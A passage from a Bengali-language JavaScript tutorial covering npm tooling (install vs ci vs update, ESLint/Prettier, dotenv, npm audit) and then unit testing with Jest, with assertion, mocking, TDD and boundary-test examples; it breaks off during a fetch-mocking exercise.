<!-- dist/index.html (মিনিফাইড প্রোডাকশন আর্কিটেকচার) -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" crossorigin href="/assets/index-D7h2k9La.css">
<script type="module" crossorigin src="/assets/index-Bq1x90Lm.js"></script>
</head>
<body>
<div id="app"></div>
</body>
</html>
সমস্যা ও লক্ষ্য: npm install, npm ci এবং npm update-এর প্রযুক্তিগত পার্থক্য, কাজের মেকানিজম এবং কখন কোনটি ব্যবহার করতে হবে তা তুলনামূলক চার্টে উপস্থাপন করুন।
# প্রজেক্ট ও সিআই পাইপলাইনে সঠিক কমান্ড নির্বাচন
npm install # নতুন প্যাকেজ যোগ বা লোকাল ডেভেলপমেন্ট শুরুর সময়
npm ci # GitHub Actions বা Jenkins সিআই/সিডি বিল্ডে ১০০% নির্ভরযোগ্য
npm update # প্যাকেজগুলোর অনুমোদিত লেটেস্ট মাইনর/প্যাচ আপগ্রেড করতে
সমস্যা ও লক্ষ্য: frontend/ (Vite) এবং backend/ (Express) আলাদা package.json ও লকফাইল দিয়ে ম্যানেজ করার একটি স্বয়ংসম্পূর্ণ প্রোডাকশন আর্কিটেকচার।
# রুট লেভেল থেকে সাব-প্রজেক্ট চালানোর কমান্ড
npm run dev:frontend # ফ্রন্টএন্ড স্টার্ট
npm run dev:backend # ব্যাকএন্ড স্টার্ট
{
"name": "fullstack-platform-root",
"private": true,
"scripts": {
"install:all": "npm --prefix backend install && npm --prefix frontend install",
"dev:backend": "npm --prefix backend run dev",
"dev:frontend": "npm --prefix frontend run dev",
"build:frontend": "npm --prefix frontend run build"
}
}
সমস্যা ও লক্ষ্য: প্রজেক্টে ESLint ও Prettier কনফিগার করুন যাতে কোড সেভ করার সাথে সাথে এরর ধরা পড়ে এবং অটো-ফরম্যাটিং সম্পন্ন হয়।
# লিন্টার ও ফরম্যাটার ডিপেনডেন্সি ইনস্টল
npm install -D eslint prettier eslint-config-prettier
// .eslintrc.json
{
"env": {
"browser": true,
"es2024": true,
"node": true
},
"extends": ["eslint:recommended", "prettier"],
"parserOptions": {
"ecmaVersion": "latest",
"sourceType": "module"
},
"rules": {
"no-unused-vars": "warn",
"no-console": "off",
"prefer-const": "error"
}
}
// .prettierrc
{
"semi": true,
"singleQuote": true,
"tabWidth": 2,
"trailingComma": "es5"
}
সমস্যা ও লক্ষ্য: ডেভেলপমেন্ট ও প্রোডাকশনে পোর্ট, ডেটাবেস স্ট্রিং এবং এপিআই কি নিরাপদে হ্যান্ডেল করার প্রোডাকশন আর্কিটেকচার।
# dotenv লাইব্রেরি ইনস্টল
npm install dotenv
// .env (Secret Credentials - Git Ignored)
PORT=5000
DATABASE_URL="postgresql://admin:superSecretPassword@localhost:5432/production_db"
JWT_SECRET="d83f98a21f7c8e9b4a123456789abcdef"
// .env.example (Public Template - Committed to Git)
PORT=5000
DATABASE_URL="postgresql://user:password@localhost:5432/dbname"
JWT_SECRET="your_jwt_secret_key_here"
// src/config.js (ESM Environment Loader)
import 'dotenv/config';
export const config = {
port: process.env.PORT || 3000,
dbUrl: process.env.DATABASE_URL,
jwtSecret: process.env.JWT_SECRET
};
if (!config.jwtSecret) {
throw new Error('FATAL: JWT_SECRET environment variable is missing!');
}
সমস্যা ও লক্ষ্য: npm audit চালিয়ে ডিপেনডেন্সির সিকিউরিটি ত্রুটি পরীক্ষা, সিভিই (CVE) স্কোর বিশ্লেষণ এবং নিরাপদে ফিক্স করার বাস্তব কমান্ড।
# ১. ডিপেনডেন্সি সিকিউরিটি স্ক্যান
npm audit
# ২. সেমিকম্প্যাটিবল অটো-ফিক্স
npm audit fix
# ৩. ব্রেকিং চেঞ্জ রিভিউসহ ফোর্স ফিক্স (সতর্কতার সাথে)
npm audit fix --force
# ৪. প্রোডাকশন অনলি অডিট (devDependencies বাদ দিয়ে)
npm audit --omit=dev
# NPM Security Audit Summary
found 0 vulnerabilities (Dependencies Verified Safe ✅)
# যদি কোনো হাই/ক্রিটিক্যাল রিস্ক পাওয়া যায়:
# 1 High Severity Vulnerability found in 'cross-spawn'
# Fixed by upgrading package to >=7.0.5
পুরো Chapter 34-এর টুলিং, প্যাকেজ ও আর্কিটেকচারাল পাইপলাইন একসাথে:
JAVASCRIPT TOOLING ECOSYSTEM
│
┌───────────────────────┼───────────────────────┐
│ │ │
PROJECT PACKAGE MODERN
MANIFEST DEPENDENCIES BUILDING
│ │ │
package.json node_modules Vite
├── name & version ├── Direct Deps Rollup
├── scripts (run/dev) └── Transitive Deps esbuild
└── type: "module" │ Tree Shaking
│ package-lock.json Minification
│ (Deterministic Lock) Source Maps
│ │ │
└───────────────────────┼───────────────────────┘
│
▼
DEVELOPER WORKFLOW & PIPELINE
│
┌─────────────────────────┼─────────────────────────┐
│ │ │
CODE QUALITY SECURITY DEPLOYMENT
│ │ │
ESLint (Linter) npm audit npm ci (CI/CD)
Prettier (Formatter) .env (Secrets) dist/ Output
Git Hooks (Husky) .gitignore (Ignored) Production Ready
Chapter 33: Web Performance & Optimization
↓
অ্যাপ্লিকেশনের লোড টাইম, রেন্ডারিং স্পিড ও কোর ওয়েব ভাইটালস অপ্টিমাইজেশন
↓
Chapter 34: NPM & Modern JavaScript Tooling (THIS CHAPTER)
↓
প্যাকেজ ম্যানেজমেন্ট, প্রজেক্ট স্ক্যাফোল্ডিং, বান্ডলিং (Vite) ও ওয়ার্কফ্লো অটোমেশন
↓
Chapter 35: Testing JavaScript
↓
Unit Testing, Integration Testing, Assertions, Vitest/Jest, Mocking & TDD
প্রফেশনাল সফটওয়্যার ডেভেলপমেন্টে কোড শুধু কাজ করলেই যথেষ্ট নয়—ভবিষ্যতে নতুন ফিচার যুক্ত করার পর পূর্বের কোনো কার্যকারিতা ভেঙে পড়ল কিনা (Regression) তা স্বয়ংক্রিয়ভাবে নিশ্চিত করাই টেস্টিংয়ের লক্ষ্য। এই চ্যাপ্টারে আমরা Unit Testing, Integration Testing, E2E Testing, Testing Pyramid, Jest/Vitest Assertions, Setup & Teardown Hooks, Async Testing, Mocking, Code Coverage, Test-Driven Development (TDD) এবং CI/CD টেস্ট অটোমেশন পাইপলাইন শিখব।
Testing হলো code-এর expected behavior এবং actual behavior compare করে দেখা। সহজভাবে:
ধরো তুমি একটা calculator বানিয়েছ। তুমি আশা করছ:
2 + 3 = 5
Testing করে আমরা যাচাই করব:
add(2, 3) === 5;
যদি 5 আসে → Test Pass ✅ অন্য কিছু আসে → Test Fail ❌
ধরো তোমার একটি বড় e-commerce website আছে। এখানে:
Login ↓ Product Search ↓ Add to Cart ↓ Checkout ↓ Payment ↓ Order Confirmation
তুমি Login feature পরিবর্তন করলে ভুল করে Cart-এর code নষ্ট হয়ে যেতে পারে। Testing থাকলে automatically ধরা যেতে পারে:
Login Test ✅ Search Test ✅ Cart Test ❌ Payment Test ✅
তখন developer বুঝতে পারবে কোথায় সমস্যা হয়েছে।
| উদ্দেশ্য | অর্থ |
|---|---|
| Bug Detection | Bug খুঁজে বের করা |
| Reliability | Application reliable রাখা |
| Regression Prevention | পুরোনো feature নষ্ট হয়েছে কিনা দেখা |
| Refactoring Safety | Code পরিবর্তন করেও functionality ঠিক রাখা |
| Documentation | Code কীভাবে behave করার কথা তা বোঝানো |
| Quality | Overall software quality বৃদ্ধি |
Developer/User নিজে application ব্যবহার করে পরীক্ষা করে। উদাহরণ:
Open website ↓ Enter email ↓ Enter password ↓ Click Login ↓ Check result
Code নিজেই অন্য code-এর behavior পরীক্ষা করে। উদাহরণ:
expect(add(2, 3)).toBe(5);
এখানে মানুষকে manually calculator চালাতে হচ্ছে না। Test framework automatically check করবে।
JavaScript application-এ সাধারণত কয়েক ধরনের testing দেখা যায়:
Testing │ ├── Unit Testing ├── Integration Testing ├── End-to-End Testing ├── Component Testing └── Regression Testing
Unit Test হলো application-এর সবচেয়ে ছোট testable অংশ পরীক্ষা করা। যেমন:
function add(a, b) {
return a + b;
}
এখন আমরা শুধু add() function-টি test করব।
Input → add() → Output
function add(a, b) {
return a + b;
}
Test:
expect(add(2, 3)).toBe(5);
এখানে পুরো application test করা হচ্ছে না। শুধু:
add()
test করা হচ্ছে।
একটি restaurant-এর kitchen-এ:
Rice cooking → আলাদা test Chicken cooking → আলাদা test Sauce → আলাদা test
প্রতিটি ছোট অংশ আলাদাভাবে ঠিক আছে কিনা পরীক্ষা করা = Unit Testing-এর মতো।
Integration Testing-এ একাধিক component/module একসাথে কাজ করছে কিনা test করা হয়। উদাহরণ:
Login Function
↓
Authentication Service
↓
Database
শুধু Login function নয়। পুরো interaction test করা হচ্ছে।
loginUser()
↓
API
↓
Database
↓
User Response
এগুলো একসাথে ঠিকভাবে কাজ করছে কিনা পরীক্ষা করা হবে।
| Unit Testing | Integration Testing |
|---|---|
| ছোট অংশ test | একাধিক অংশ test |
| সাধারণত isolated | Components interact করে |
| দ্রুত | তুলনামূলক ধীর |
| Function test | API + DB ইত্যাদি test |
| সহজ debugging | Debugging তুলনামূলক কঠিন |
E2E Testing পুরো application-এর user journey পরীক্ষা করে। ধরো একটি shopping website:
Open Website ↓ Login ↓ Search Product ↓ Open Product ↓ Add Cart ↓ Checkout ↓ Payment ↓ Order Complete
পুরো flow test করা হচ্ছে। এটাই End-to-End Testing।
বিশেষ করে React application-এ Component Testing গুরুত্বপূর্ণ। ধরো:
<Button />
Test করা হচ্ছে:
ধরো তোমার application আগে ঠিকভাবে কাজ করছিল। তুমি নতুন feature যোগ করলে:
New Feature
↓
Old Feature
↓
Broken ❌
নতুন change-এর কারণে পুরোনো functionality নষ্ট হয়েছে কিনা check করা হলো Regression Testing।
একটি নির্দিষ্ট behavior পরীক্ষা করার জন্য যে condition এবং expected result তৈরি করা হয় সেটিই Test Case। উদাহরণ:
Test: Valid email + valid password Expected: Login successful
আরেকটি:
Test:
Valid email + wrong password
Expected:
Error message
High-level requirement।
Test Login functionality
Specific condition।
Valid email + valid password Valid email + invalid password Empty email Empty password Invalid email format
Testing-এর সবচেয়ে গুরুত্বপূর্ণ concept-এর একটি হলো Assertion। Assertion হলো:
উদাহরণ:
expect(2 + 3).toBe(5);
এখানে:
Expected → 5 Actual → 5
তাই:
PASS ✅
যদি:
expect(2 + 3).toBe(6);
তাহলে:
Expected → 6 Actual → 5 FAIL ❌
JavaScript testing-এর জন্য বহুল ব্যবহৃত একটি testing framework হলো Jest। Jest দিয়ে আমরা:
ইত্যাদি করতে পারি।
Project তৈরি:
npm init -y
Jest install:
npm install --save-dev jest
ধরো:
math.jsfunction add(a, b) {
return a + b;
}
module.exports = { add };
Test file:
math.test.jsconst { add } = require("./math");
test("2 + 3 should equal 5", () => {
expect(add(2, 3)).toBe(5);
});
Run:
npx jest
Expected result:
PASS ./math.test.js ✓ 2 + 3 should equal 5
test() কী?Jest-এর:
test();
একটি test define করে। Syntax:
test("test description", () => {
// test code
});
Example:
test("addition works", () => {
expect(2 + 2).toBe(4);
});
expect() কী?expect() actual value-এর ওপর assertion করার জন্য ব্যবহার করা হয়।
expect(value);
তারপর matcher:
.toBe()
.toEqual()
.toContain()
.toBeTruthy()
.toBeFalsy()
ইত্যাদি।
toBe()Primitive value comparison-এর জন্য:
expect(5).toBe(5);
expect("Hello").toBe("Hello");
toEqual()Objects বা Arrays-এর content compare করতে:
expect({ name: "Ripon" }).toEqual({ name: "Ripon" });
Array:
expect([1, 2, 3]).toEqual([1, 2, 3]);
toBe();
আর
toEqual();
এক জিনিস নয়।
expect(true).toBeTruthy();
expect(false).toBeFalsy();
Example:
function isLoggedIn(user) {
return Boolean(user);
}
Test:
expect(isLoggedIn({ name: "Ripon" })).toBeTruthy();
toContain()Array বা string-এর মধ্যে কিছু আছে কিনা:
expect(["HTML", "CSS", "JavaScript"]).toContain("JavaScript");
String:
expect("Hello World").toContain("World");
toBeNull()expect(null).toBeNull();
toBeUndefined()let value;
expect(value).toBeUndefined();
toBeDefined()const name = "Ripon";
expect(name).toBeDefined();
function multiply(a, b) {
return a * b;
}
Test:
test("2 × 3 = 6", () => {
expect(multiply(2, 3)).toBe(6);
});
test("5 × 4 = 20", () => {
expect(multiply(5, 4)).toBe(20);
});
test("10 × 0 = 0", () => {
expect(multiply(10, 0)).toBe(0);
});
describe()Related tests group করার জন্য:
describe("Math Tests", () => {
test("addition", () => {
expect(2 + 3).toBe(5);
});
test("multiplication", () => {
expect(2 * 3).toBe(6);
});
});
Structure:
Math Tests │ ├── addition └── multiplication
কখনো test-এর আগে বা পরে কিছু কাজ করতে হয়। যেমন:
Connect database ↓ Run test ↓ Disconnect database
Jest-এ:
beforeEach();
afterEach();
beforeAll();
afterAll();
ব্যবহার করা হয়।
beforeEach()প্রতিটি test-এর আগে চলে।
beforeEach(() => {
console.log("Before test");
});
Example:
beforeEach(() => {
console.log("Preparing...");
});
test("Test 1", () => {
expect(1 + 1).toBe(2);
});
test("Test 2", () => {
expect(2 + 2).toBe(4);
});
Output conceptually:
Preparing... ✓ Test 1 Preparing... ✓ Test 2
afterEach()প্রতিটি test-এর পরে চলে।
afterEach(() => {
console.log("Cleaning...");
});
Useful for cleanup।
beforeAll()সব test শুরু হওয়ার আগে একবার চলে।
beforeAll(() => {
console.log("Setup database");
});
afterAll()সব test শেষ হওয়ার পরে একবার চলে।
afterAll(() => {
console.log("Close database");
});
JavaScript application-এ API, database ইত্যাদি asynchronous হতে পারে। ধরো:
async function getUser() {
return {
id: 1,
name: "Ripon",
};
}
Test:
test("getUser returns user", async () => {
const user = await getUser();
expect(user.name).toBe("Ripon");
});
function getData() {
return Promise.resolve("Hello");
}
Test:
test("returns Hello", async () => {
await expect(getData()).resolves.toBe("Hello");
});
function getData() {
return Promise.reject(new Error("Something went wrong"));
}
Test:
test("rejects with error", async () => {
await expect(getData()).rejects.toThrow("Something went wrong");
});
ধরো তোমার function external API call করে:
Your Function
↓
External API
↓
Internet
Test করার সময় আমরা সবসময় real API call করতে চাই না। তখন fake/mock function ব্যবহার করা হয়। এটিই Mocking।
Jest:
const mockFn = jest.fn();
তারপর:
mockFn("Hello");
Check:
expect(mockFn).toHaveBeenCalled();
const mockFn = jest.fn();
mockFn();
mockFn();
Test:
expect(mockFn).toHaveBeenCalledTimes(2);
const mockFn = jest.fn();
mockFn("Ripon", 25);
Test:
expect(mockFn).toHaveBeenCalledWith("Ripon", 25);
ধরো Payment API:
Your App ↓ Payment Gateway ↓ Bank
প্রতিটি test-এর সময় real payment করা ভয়ংকর হবে। 😄 তাই:
Real Payment ❌ Mock Payment ✅
Code Coverage বলে দেয় তোমার test কতটা code cover করছে। ধরো project-এ:
100 lines code
এর মধ্যে test করেছে:
80 lines
তাহলে roughly:
80% coverage
সাধারণভাবে coverage metrics:
Statements Branches Functions Lines
কতগুলো statement execute হয়েছে।
if/else, ternary ইত্যাদির কতগুলো path test হয়েছে।
কতগুলো function test হয়েছে।
কতগুলো code line execute হয়েছে।
Jest:
npx jest --coverage
Report-এ এমন কিছু দেখা যেতে পারে:
Statements 90% Branches 80% Functions 100% Lines 92%
100% coverage মানেই application bug-free নয়। কারণ:
Code execute হয়েছে
মানে এই নয় যে:
সব possible behavior correctly tested হয়েছে
Frontend/React application-এ জনপ্রিয় approach হলো Testing Library। বিশেষ করে:
React Testing Library
এর মূল ধারণা:
ধরো:
<button>Login</button>
Test করবে:
Button আছে? ↓ User click করতে পারে? ↓ Click করলে expected behavior হচ্ছে?
ধরো component:
<button onClick={handleLogin}>Login</button>
Testing-এর focus হওয়া উচিত:
User clicks Login
↓
Expected behavior
শুধু:
handleLogin function exists
এটা test করাই সবচেয়ে গুরুত্বপূর্ণ নয়।
E2E testing-এর জন্য জনপ্রিয় tools:
Example user flow:
Open website ↓ Click Login ↓ Enter email ↓ Enter password ↓ Submit ↓ Dashboard appears
এটা browser automation দিয়ে test করা যায়।
Conceptual example:
import { test, expect } from "@playwright/test";
test("homepage loads", async ({ page }) => {
await page.goto("https://example.com");
await expect(page.getByRole("heading")).toBeVisible();
});
এখানে browser:
Open page ↓ Find heading ↓ Check heading visible
Testing strategy বোঝার জন্য খুব গুরুত্বপূর্ণ concept:
/\
/ \
/ E2E\
/------\
/Integration\
/--------------\
/ Unit Tests \
/------------------\
সাধারণ ধারণা:
Many Unit Tests
↓
Some Integration Tests
↓
Fewer E2E Tests
কারণ Unit test সাধারণত দ্রুত এবং focused। E2E test তুলনামূলক বেশি setup/সময় নিতে পারে।
TDD = Test-Driven Development এখানে আগে test লেখা হয়, তারপর implementation। Process:
Write Test
↓
Test Fails ❌
↓
Write Code
↓
Test Passes ✅
↓
Refactor
এটাকে প্রায়ই বলা হয়:
Red → Green → Refactor
প্রথমে test:
test("add should return 5", () => {
expect(add(2, 3)).toBe(5);
});
এখন add() নেই। তাই:
FAIL ❌
তারপর code:
function add(a, b) {
return a + b;
}
এখন:
PASS ✅
তারপর code clean/refactor করা যায়।
BDD = Behavior-Driven Development এখানে application-এর behavior-এর ওপর বেশি focus করা হয়। উদাহরণ:
Given user is logged out When user enters valid credentials Then dashboard should appear
এটি human-readable behavior description-এর মতো।
Testing-এর সময় real dependency-এর পরিবর্তে বিভিন্ন ধরনের substitute ব্যবহার করা হয়। Common types:
Dummy Stub Mock Spy Fake
শুধু parameter পূরণ করার জন্য।
নির্দিষ্ট response দেয়।
Interaction verify করতে সাহায্য করে।
কোন function কীভাবে call হয়েছে observe করে।
Simplified working implementation।
ধরো:
const user = {
login() {
return true;
},
};
Spy দিয়ে check করা যায়:
login() কতবার call হলো? কী argument গেল?
Jest-এ সাধারণভাবে:
const spy = jest.spyOn(user, "login");
user.login();
expect(spy).toHaveBeenCalled();
Snapshot Testing UI/component-এর rendered output-এর snapshot save করে রাখে। পরবর্তীতে output পরিবর্তিত হলে test সেটা detect করতে পারে। Concept:
Current UI ↓ Snapshot ↓ Future UI ↓ Compare
তবে snapshot blindly accept করা উচিত নয়। কারণ snapshot বড় হয়ে গেলে meaningful review কঠিন হতে পারে।
শুধু valid input test করলে হবে না। Invalid input-ও test করতে হবে। ধরো:
function divide(a, b) {
if (b === 0) {
throw new Error("Cannot divide by zero");
}
return a / b;
}
Test:
test("division by zero throws error", () => {
expect(() => divide(10, 0)).toThrow("Cannot divide by zero");
});
Normal case:
add(2, 3);
Edge cases:
add(0, 0);
add(-5, 10);
add(Number.MAX_SAFE_INTEGER, 1);
Real applications-এ edge cases খুব গুরুত্বপূর্ণ।
ধরো age:
18–60
তাহলে test করা উচিত:
17 ❌ 18 ✅ 19 ✅ 59 ✅ 60 ✅ 61 ❌
Boundary-এর কাছাকাছি values test করা খুব useful।
খারাপ:
test("test1", ...)
ভালো:
test("returns false when password is incorrect", ...)
আরও ভালো naming:
test("login fails when the password is incorrect", ...)
Test name দেখে behavior বোঝা উচিত।
একটি ভালো test হওয়া উচিত:
Fast Independent Repeatable Clear Focused Reliable
একটি জনপ্রিয় ধারণা:
F → Fast I → Independent R → Repeatable S → Self-validating T → Timely
একটি test অন্য test-এর ওপর depend করা উচিত নয়। খারাপ:
Test 1 → creates user Test 2 → assumes user exists
Test 1 fail করলে Test 2-ও fail করতে পারে। ভালো:
Test 1 → own setup Test 2 → own setup
যে test কখনো pass করে, কখনো fail করে—তাকে Flaky Test বলা হয়। উদাহরণ:
Run 1 → PASS Run 2 → PASS Run 3 → FAIL Run 4 → PASS
সম্ভাব্য কারণ:
Flaky test dangerous কারণ developer test result-এর ওপর trust হারাতে পারে।
ধরো তোমার Node.js backend:
GET /api/users
Expected:
[
{
"id": 1,
"name": "Ripon"
}
]
Test করা যায়:
Status → 200 Response → JSON User exists → true Required fields → present
Integration/E2E testing-এ এগুলো করা যায়।
একটি Full Stack application:
React ↓ API ↓ Node/Express ↓ Database
Testing:
React Component
↓
Component Test
API
↓
Integration Test
Database interaction
↓
Integration Test
Full user journey
↓
E2E Test
ধরো তুমি একটি Login System বানালে।
validateEmail() validatePassword() hashPassword()
Login API ↓ Database ↓ Authentication
Open Login Page ↓ Enter credentials ↓ Click Login ↓ Dashboard
এটাই বাস্তব-world testing strategy-এর একটি example।
দুটো একই নয়।
| Testing | Debugging |
|---|---|
| Bug আছে কিনা খোঁজে | Bug-এর কারণ খোঁজে |
| Expected vs actual | Problem কোথায় |
| Test automated হতে পারে | Developer investigation করে |
| আগে থেকেই করা যায় | সাধারণত failure-এর পর করা হয় |
উদাহরণ:
Test → Login failed ❌ ↓ Debugging ↓ Wrong password comparison ↓ Fix
একজন professional developer-এর workflow হতে পারে:
Write Feature
↓
Write Tests
↓
Run Tests
↓
Failure?
↙ ↘
Yes No
↓ ↓
Debug Continue
↓
Fix
↓
Run Again
↓
Pass
↓
Commit
↓
CI/CD
GitHub Actions-এর মতো CI system-এ automatically test চালানো যায়। Flow:
Developer ↓ git push ↓ GitHub ↓ CI Pipeline ↓ npm install ↓ npm test ↓ PASS ✅ / FAIL ❌
এতে broken code merge হওয়ার আগে ধরা যায়।
{
"scripts": {
"test": "jest"
}
}
তারপর:
npm test
অথবা:
npm run test
Common patterns:
math.test.js
math.spec.js
অথবা:
__tests__/math.test.js
Project অনুযায়ী convention পরিবর্তিত হতে পারে।
calculator.jsfunction add(a, b) {
return a + b;
}
function subtract(a, b) {
return a - b;
}
function multiply(a, b) {
return a * b;
}
function divide(a, b) {
if (b === 0) {
throw new Error("Cannot divide by zero");
}
return a / b;
}
module.exports = {
add,
subtract,
multiply,
divide,
};
calculator.test.jsconst { add, subtract, multiply, divide } = require("./calculator");
describe("Calculator", () => {
test("adds two numbers", () => {
expect(add(2, 3)).toBe(5);
});
test("subtracts two numbers", () => {
expect(subtract(5, 3)).toBe(2);
});
test("multiplies two numbers", () => {
expect(multiply(4, 3)).toBe(12);
});
test("divides two numbers", () => {
expect(divide(10, 2)).toBe(5);
});
test("throws error when dividing by zero", () => {
expect(() => divide(10, 0)).toThrow("Cannot divide by zero");
});
});
Run:
npm test
এখানে আমরা একইসাথে শিখলাম:
describe() test() expect() toBe() toThrow()
প্রোডাকশন মানের নির্ভরযোগ্য অ্যাপ্লিকেশন তৈরিতে এই ১০টি টেস্ট আর্কিটেকচার নীতি অপরিহার্য:
| Matcher / Hook | Syntax Example | Primary Use Case |
|---|---|---|
| toBe | expect(add(1, 2)).toBe(3) | প্রিমিটিভ ভ্যালু (Primitive equality ===) পরীক্ষা |
| toEqual | expect(user).toEqual({ id: 1 }) | অবজেক্ট বা অ্যারের গভীর সমতা (Deep equality) |
| toBeTruthy | expect(isValid).toBeTruthy() | ট্রুথি ভ্যালু নিশ্চিতকরণ (Boolean(val) === true) |
| toBeFalsy | expect(hasError).toBeFalsy() | ফলসি ভ্যালু নিশ্চিতকরণ (null, undefined, 0, "" ইত্যাদি) |
| toContain | expect(fruits).toContain('apple') | অ্যারে বা স্ট্রিংয়ে উপাদান বিদ্যমান থাকা যাচাই |
| toBeNull | expect(res).toBeNull() | ভ্যালু ঠিক null কিনা তা পরীক্ষা |
| toBeDefined | expect(val).toBeDefined() | ভ্যারিয়েবল ডিফাইন করা আছে কিনা (!== undefined) |
| toThrow | expect(() => fn()).toThrow("Error") | ফাংশন কাঙ্ক্ষিত এরর থ্রো করে কিনা যাচাই |
| describe | describe('Auth Service', () => {}) | সম্পর্কিত টেস্টগুলোকে একটি সুসংগঠিত ব্লকে গ্রুপ করা |
| test / it | test('should calculate tax', () => {}) | একটি স্বতন্ত্র টেস্ট কেস তৈরি করা |
| beforeEach | beforeEach(() => { resetDB(); }) | প্রতিটি একক টেস্ট রানের পূর্বে স্টেট রিসেট করা |
| afterEach | afterEach(() => { jest.clearAllMocks(); }) | প্রতিটি টেস্ট শেষে ক্লিনআপ ও মক ক্লিয়ার করা |
| beforeAll | beforeAll(async () => { await connect(); }) | পুরো টেস্ট স্যুটের শুরুতে মাত্র একবার রান |
| afterAll | afterAll(async () => { await close(); }) | সম্পূর্ণ টেস্ট স্যুট সমাপ্তির পর কানেকশন বন্ধ |
| jest.fn() | const mock = jest.fn() | ফেক ফাংশন তৈরি এবং কল কাউন্ট/আর্গুমেন্ট পর্যবেক্ষণ |
| mockResolvedValue | mockFetch.mockResolvedValue({ ok: true }) | অ্যাসিনক্রোনাস প্রমিজ রিটার্ন সিমুলেশন |
| npm test | npm test / npm test -- --coverage | সম্পূর্ণ টেস্ট স্যুট ও কোড কভারেজ রিপোর্ট তৈরি |
সমস্যা ও লক্ষ্য: add(a, b) ফাংশনের জন্য ৫টি বৈচিত্র্যময় ও নির্ভুল ইউনিট টেস্ট কেস লিখুন যা পজিটিভ, নেগেটিভ, ফ্লোটিং পয়েন্ট, জিরো এবং স্ট্রিং টাইপ এরর টেস্ট কভার করে।
// src/math.js
export function add(a, b) {
if (typeof a !== 'number' || typeof b !== 'number') {
throw new TypeError('Both arguments must be numbers');
}
return a + b;
}
// tests/math.test.js
import { describe, test, expect } from '@jest/globals';
import { add } from '../src/math.js';
describe('Math Module: add(a, b)', () => {
test('Case 1: adds two positive integers correctly', () => {
expect(add(5, 7)).toBe(12);
});
test('Case 2: handles negative numbers properly', () => {
expect(add(-10, -5)).toBe(-15);
expect(add(-10, 20)).toBe(10);
});
test('Case 3: adds floating point numbers with precision', () => {
expect(add(0.1, 0.2)).toBeCloseTo(0.3, 5); // ফ্লোটিং পয়েন্ট নির্ভুলতা
});
test('Case 4: returns correct value when adding with zero', () => {
expect(add(42, 0)).toBe(42);
expect(add(0, 0)).toBe(0);
});
test('Case 5: throws TypeError when invalid types are supplied', () => {
expect(() => add('5', 10)).toThrow(TypeError);
expect(() => add(null, 5)).toThrow('Both arguments must be numbers');
});
});
সমস্যা ও লক্ষ্য: isEven(number) ফাংশনটির জন্য ২, ৪, ৭, ০, -২ ইনপুটের জন্য পূর্ণাঙ্গ টেস্ট কেস লিখুন।
// src/utils.js
export function isEven(number) {
if (!Number.isInteger(number)) {
throw new Error('Input must be an integer');
}
return number % 2 === 0;
}
// tests/utils.test.js
import { describe, test, expect } from '@jest/globals';
import { isEven } from '../src/utils.js';
describe('Parity Logic: isEven(number)', () => {
test('returns true for positive even numbers (2 and 4)', () => {
expect(isEven(2)).toBe(true);
expect(isEven(4)).toBe(true);
});
test('returns false for positive odd numbers (7)', () => {
expect(isEven(7)).toBe(false);
});
test('returns true for zero (0 is an even number)', () => {
expect(isEven(0)).toBe(true);
});
test('returns true for negative even numbers (-2)', () => {
expect(isEven(-2)).toBe(true);
});
test('handles edge cases: throws error on non-integer input', () => {
expect(() => isEven(3.14)).toThrow('Input must be an integer');
});
});
সমস্যা ও লক্ষ্য: isAdult(age) ফাংশনটির বাউন্ডারি টেস্ট লিখুন: ১৭, ১৮, ১৯, ০ এবং ঋণাত্মক বয়সের জন্য।
// src/auth.js
export function isAdult(age) {
if (typeof age !== 'number' || age < 0) {
throw new RangeError('Age must be a non-negative number');
}
return age >= 18;
}
// tests/auth.test.js
import { describe, test, expect } from '@jest/globals';
import { isAdult } from '../src/auth.js';
describe('Boundary Testing: isAdult(age)', () => {
test('Boundary - 1 (age 17): should return false', () => {
expect(isAdult(17)).toBe(false);
});
test('Exact Boundary (age 18): should return true', () => {
expect(isAdult(18)).toBe(true);
});
test('Boundary + 1 (age 19): should return true', () => {
expect(isAdult(19)).toBe(true);
});
test('Lower Extreme (age 0): should return false', () => {
expect(isAdult(0)).toBe(false);
});
test('Negative Boundary: throws RangeError on negative age', () => {
expect(() => isAdult(-1)).toThrow(RangeError);
expect(() => isAdult(-25)).toThrow('Age must be a non-negative number');
});
});
সমস্যা ও লক্ষ্য: withdraw(balance, amount) ফাংশনে অপর্যাপ্ত ব্যালেন্স থাকলে এরর থ্রো করা এবং পর্যাপ্ত ব্যালেন্সে সঠিক অবশিষ্ট টাকা রিটার্ন করা টেস্ট করুন।
// src/bank.js
export function withdraw(balance, amount) {
if (amount <= 0) {
throw new Error('Withdrawal amount must be greater than zero');
}
if (amount > balance) {
throw new Error('Insufficient balance');
}
return balance - amount;
}
// tests/bank.test.js
import { describe, test, expect } from '@jest/globals';
import { withdraw } from '../src/bank.js';
describe('Banking Service: withdraw(balance, amount)', () => {
test('successfully deducts balance when funds are sufficient', () => {
const initialBalance = 1000;
const withdrawAmount = 400;
const remaining = withdraw(initialBalance, withdrawAmount);
expect(remaining).toBe(600);
});
test('allows full withdrawal to zero balance', () => {
expect(withdraw(500, 500)).toBe(0);
});
test('throws "Insufficient balance" error when withdrawal exceeds funds', () => {
expect(() => {
withdraw(100, 250);
}).toThrow('Insufficient balance');
});
test('throws error when withdrawing zero or negative amount', () => {
expect(() => withdraw(100, 0)).toThrow('Withdrawal amount must be greater than zero');
expect(() => withdraw(100, -50)).toThrow('Withdrawal amount must be greater than zero');
});
});
() => withdraw(...)।সমস্যা ও লক্ষ্য: বাস্তব নেটওয়ার্ক কল ছাড়াই fetchUser(id) ফাংশনের সাকসেস ও ফেইলিউর সিনারিও মক রেসপন্স দিয়ে টেস্ট করার সম্পূর্ণ প্রোডাকশন সলিউশন।
// src/userService.js
export async function fetchUser(userId) {
const response = await fetch(`https://api.example.com/users/${userId}`);
if (!response.ok) {
throw new Error(`API Error: ${response.status}`);
}
return await response.json();
}
// tests/userService.test.js
import { describe, test, expect, beforeEach, afterEach, jest } from '@jest/globals';
import { fetchUser } from '../src/userService.js';
// গ্লোবাল ফেচ মক করা
const originalFetch = global.fetch;
describe('UserService: fetchUser(id) with API Mocking', () => {
beforeEach(() => {
global.fetch = jest.fn(); // ফেক ফেচ ফাংশন তৈরি
});
afterEach(() => {
global.fetch = originalFetch; // টেস্ট শেষে মূল ফেচ ফিরিয়ে দেওয়া
});
test('resolves user profile successfully on 200 OK', async () => {
const mockUserData = { id: 101, name: 'Tanvir Ahamed', role: 'Engineer' };
global.fetch.mockResolvedValueOnce({
ok: true,
status: 200,
json: async () => mockUserData
});
